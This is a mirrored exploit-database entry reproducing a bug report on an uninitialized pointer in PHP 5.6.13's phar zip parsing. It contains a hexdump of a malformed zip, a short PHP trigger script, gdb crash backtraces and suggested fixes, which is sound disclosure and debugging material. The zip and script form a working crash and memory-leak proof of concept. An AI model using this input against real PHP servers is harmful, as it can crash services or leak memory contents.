PHP 5.6.13 Uninitialized pointer in phar_make_dirstream Vulnerability

2015-10-05T00:00:00
ID 1337DAY-ID-24363
Type zdt
Reporter hugh
Modified 2015-10-05T00:00:00

Description

Exploit for php platform in category local exploits

                                        
                                            Description:
------------
When parsing a phar file in zip format (phar_parse_zipfile in ext/phar/zip.c) with a directory entry with filename /, the filename length is 1 to start with, but then because it is a directory, it is decremented to 0 (line 399 of ext/phar/zip.c), which causes it to get added to the manifest hash as a type LONG not as a type STRING (line 639 of ext/phar/zip.c).
When making the dirstream from the phar file after loading the zip (function phar_make_dirstream in ext/phar/dirstream.c), the manifest hash is used, but the return is not checked for a STRING type, which is what it expects (line 201 in ext/phar/dirstream.c). In this case, a LONG is returned, and the two variables str_key and keylen are not set. The str_key is further used to set the filename.

This will cause a crash when compiled with hardening options such as -D_FORTIFY_SOURCE=2 and -fstack-protector-all AND NO optimizations (-O flags), OR when compiled with ASAN. When compiled any other way that I've tried, it doesn't crash, but occasionally leaks data into the filename field outputted.

This bug was found with afl-fuzz.

The zip file passed to the script below is available at https://transfer.sh/VULId/fuzz-test.zip and has the hexdump of below:

00000000 50 4b 03 04 30 30 30 30 30 30 30 30 30 30 30 30 |PK..000000000000|
00000010 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| *
000000c0 30 30 30 30 30 30 30 30 50 4b 01 02 30 30 30 30 |00000000PK..0000|
000000d0 30 30 08 00 30 30 30 30 30 30 30 30 30 30 30 30 |00..000000000000|
000000e0 30 30 30 30 01 00 00 00 00 00 30 30 30 30 30 30 |0000......000000|
000000f0 30 30 30 30 30 30 2f 50 4b 05 06 00 00 00 00 01 |000000/PK.......|
00000100 00 01 00 30 30 30 30 c8 |...0000.|
00000108


To fix:

a) check the return type of zend_hash_get_current_key_ex for more than just non existent (ie, for LONG as well), maybe fail if type is not STRING?

or b) don't decrement the entry.filename_len in parse_zip if it would set the length to 0, that would mean it is stored in the hash as a string, not a long. I'm not too sure of the logic of this, so don't know if that reasoning is right.

Also, I haven't checked other filetypes for phar, potentially a similar issue is there as well!

Cheers,

Hugh

Test script:
---------------
<?php
$phar = new PharData($argv[1]);
var_dump($phar);
$meta = $phar->getMetadata();
var_dump($meta);
?>

Expected result:
----------------
No crash or memory leaked.

Actual result:
--------------
When compiled with ASAN

(gdb) bt
#0 0x00007ffff4e5a651 in memcmp () from /usr/lib/x86_64-linux-gnu/libasan.so.0
#1 0x0000000001338f6c in phar_make_dirstream (dir=0x7ffff7f75ac8 "/", manifest=0x7ffff7f756f0) at /root/php-src/ext/phar/dirstream.c:216
#2 0x000000000133abb9 in phar_wrapper_open_dir (wrapper=<optimized out>, path=<optimized out>, mode=<optimized out>, options=0, opened_path=<optimized out>,
context=0x0) at /root/php-src/ext/phar/dirstream.c:359
#3 0x0000000001a0a26d in _php_stream_opendir ([email protected]=0x7ffff7f759c8 "phar:///root/fuzz-test.zip/", [email protected]=8, context=0x0)
at /root/php-src/main/streams/streams.c:1986
#4 0x000000000155528e in spl_filesystem_dir_open ([email protected]=0x7ffff7f76f40, path=0x7ffff7f759c8 "phar:///root/fuzz-test.zip/")
at /root/php-src/ext/spl/spl_directory.c:250
#5 0x00000000015642d2 in spl_filesystem_object_construct (ctor_flags=1, return_value_used=<optimized out>, this_ptr=0x7ffff7f74808, return_value_ptr=<optimized out>,
return_value=<optimized out>, ht=<optimized out>) at /root/php-src/ext/spl/spl_directory.c:731
#6 zim_spl_RecursiveDirectoryIterator___construct (ht=<optimized out>, return_value=<optimized out>, return_value_ptr=<optimized out>, this_ptr=0x7ffff7f74808,
return_value_used=<optimized out>) at /root/php-src/ext/spl/spl_directory.c:1596
#7 0x0000000001c0bdf8 in zend_call_function ([email protected]=0x7fffffff9fd0, fci_cache=0x7fffffff9f70) at /root/php-src/Zend/zend_execute_API.c:847
#8 0x0000000001d4596a in zend_call_method ([email protected]=0x7fffffffa450, obj_ce=<optimized out>, [email protected]=0x60360001f360,
[email protected]=0x27a36c0 "__construct", [email protected]=11, [email protected]=0x0,
[email protected]=2, [email protected]=0x7fffffffa490, [email protected]=0x7fffffffa4d0) at /root/php-src/Zend/zend_interfaces.c:97
#9 0x0000000001376f7e in zim_Phar___construct (ht=<optimized out>, return_value=<optimized out>, return_value_ptr=<optimized out>, this_ptr=<optimized out>,
return_value_used=<optimized out>) at /root/php-src/ext/phar/phar_object.c:1255
#10 0x00000000022b4886 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f419e0) at /root/php-src/Zend/zend_vm_execute.h:558
#11 0x0000000001e6bd72 in execute_ex (execute_data=0x7ffff7f419e0) at /root/php-src/Zend/zend_vm_execute.h:363
#12 0x0000000001c9602f in zend_execute_scripts ([email protected]=8, [email protected]=0x0, [email protected]=3) at /root/php-src/Zend/zend.c:1341
#13 0x0000000001956e42 in php_execute_script ([email protected]=0x7fffffffd290) at /root/php-src/main/main.c:2597
#14 0x00000000022c0715 in do_cli (argc=3, argv=0x60060000ec80) at /root/php-src/sapi/cli/php_cli.c:994
#15 0x000000000046d184 in main (argc=3, argv=0x60060000ec80) at /root/php-src/sapi/cli/php_cli.c:1378
(gdb) frame 1
#1 0x0000000001338f6c in phar_make_dirstream (dir=0x7ffff7f75ac8 "/", manifest=0x7ffff7f756f0) at /root/php-src/ext/phar/dirstream.c:216
216 if (keylen >= sizeof(".phar")-1 && !memcmp(str_key, ".phar", sizeof(".phar")-1)) {
(gdb) print str_key
$1 = 0x0
(gdb) print keylen
$2 = 28369926

When compiled without optimization and with hardening options
(gdb) bt
#0 __memcmp_sse4_1 () at ../sysdeps/x86_64/multiarch/memcmp-sse4.S:878
#1 0x00000000007a79b2 in phar_make_dirstream (dir=0x7ffff7fe1e48 "/",
manifest=0x7ffff7fe1a70) at /root/php-src/ext/phar/dirstream.c:216
#2 0x00000000007a8c60 in phar_wrapper_open_dir (
wrapper=0x14943e0 <php_stream_phar_wrapper>,
path=0x7ffff7fe1d48 "phar:///root/fuzz-test.zip/", mode=0x122529d "r",
options=0, opened_path=0x0, context=0x0)
at /root/php-src/ext/phar/dirstream.c:367
#3 0x0000000000b5ad9b in _php_stream_opendir (
path=0x7ffff7fe1d48 "phar:///root/fuzz-test.zip/", options=8, context=0x0)
at /root/php-src/main/streams/streams.c:1986
#4 0x0000000000893374 in spl_filesystem_dir_open (intern=0x7ffff7fe32c0,
path=0x7ffff7fe1d48 "phar:///root/fuzz-test.zip/")
at /root/php-src/ext/spl/spl_directory.c:250
#5 0x0000000000897b17 in spl_filesystem_object_construct (ht=2,
return_value=0x7ffff7fe1da8, return_value_ptr=0x7fffffffaa40,
this_ptr=0x7ffff7fe0bd8, return_value_used=1, ctor_flags=1)
at /root/php-src/ext/spl/spl_directory.c:731
#6 0x000000000089ff8c in zim_spl_RecursiveDirectoryIterator___construct (ht=2,
return_value=0x7ffff7fe1da8, return_value_ptr=0x7fffffffaa40,
this_ptr=0x7ffff7fe0bd8, return_value_used=1)
at /root/php-src/ext/spl/spl_directory.c:1596
#7 0x0000000000ca83c5 in zend_call_function (fci=0x7fffffffaab0,
fci_cache=0x7fffffffaa80) at /root/php-src/Zend/zend_execute_API.c:847
#8 0x0000000000d69dd1 in zend_call_method (object_pp=0x7fffffffabe8,
obj_ce=0x15af210, fn_proxy=0x154cad0, function_name=0x119a752 "__construct",
function_name_len=11, retval_ptr_ptr=0x0, param_count=2, arg1=0x7fffffffac10,
arg2=0x7fffffffac30) at /root/php-src/Zend/zend_interfaces.c:97
#9 0x00000000007dc5f5 in zim_Phar___construct (ht=1, return_value=0x7ffff7fe0b78,
return_value_ptr=0x7ffff7fae178, this_ptr=0x7ffff7fe0bd8, return_value_used=0)
at /root/php-src/ext/phar/phar_object.c:1255
#10 0x0000000000dee160 in zend_do_fcall_common_helper_SPEC (
execute_data=0x7ffff7fae1f0) at /root/php-src/Zend/zend_vm_execute.h:558
#11 0x0000000000df09c9 in ZEND_DO_FCALL_BY_NAME_SPEC_HANDLER (
execute_data=0x7ffff7fae1f0) at /root/php-src/Zend/zend_vm_execute.h:693
#12 0x0000000000de9a05 in execute_ex (execute_data=0x7ffff7fae1f0)
at /root/php-src/Zend/zend_vm_execute.h:363
#13 0x0000000000deae41 in zend_execute (op_array=0x7ffff7fe13f8)
at /root/php-src/Zend/zend_vm_execute.h:388
#14 0x0000000000cf8d99 in zend_execute_scripts (type=8, retval=0x0, file_count=3)
at /root/php-src/Zend/zend.c:1341
#15 0x0000000000ae8697 in php_execute_script (primary_file=0x7fffffffd5b0)
at /root/php-src/main/main.c:2597
#16 0x00000000010799cf in do_cli (argc=3, argv=0x14b67a0)
at /root/php-src/sapi/cli/php_cli.c:994
#17 0x000000000107c553 in main (argc=3, argv=0x14b67a0)
at /root/php-src/sapi/cli/php_cli.c:1378
(gdb) frame 1
#1 0x00000000007a79b2 in phar_make_dirstream (dir=0x7ffff7fe1e48 "/",
manifest=0x7ffff7fe1a70) at /root/php-src/ext/phar/dirstream.c:226
216 if (keylen >= sizeof(".phar")-1 && !memcmp(str_key, ".phar", sizeof(".phar")-1)) {
(gdb) p str_key
$1 = 0xcc164cd7fef0fc00 <error: Cannot access memory at address 0xcc164cd7fef0fc00>
(gdb) p keylen
$2 = 19

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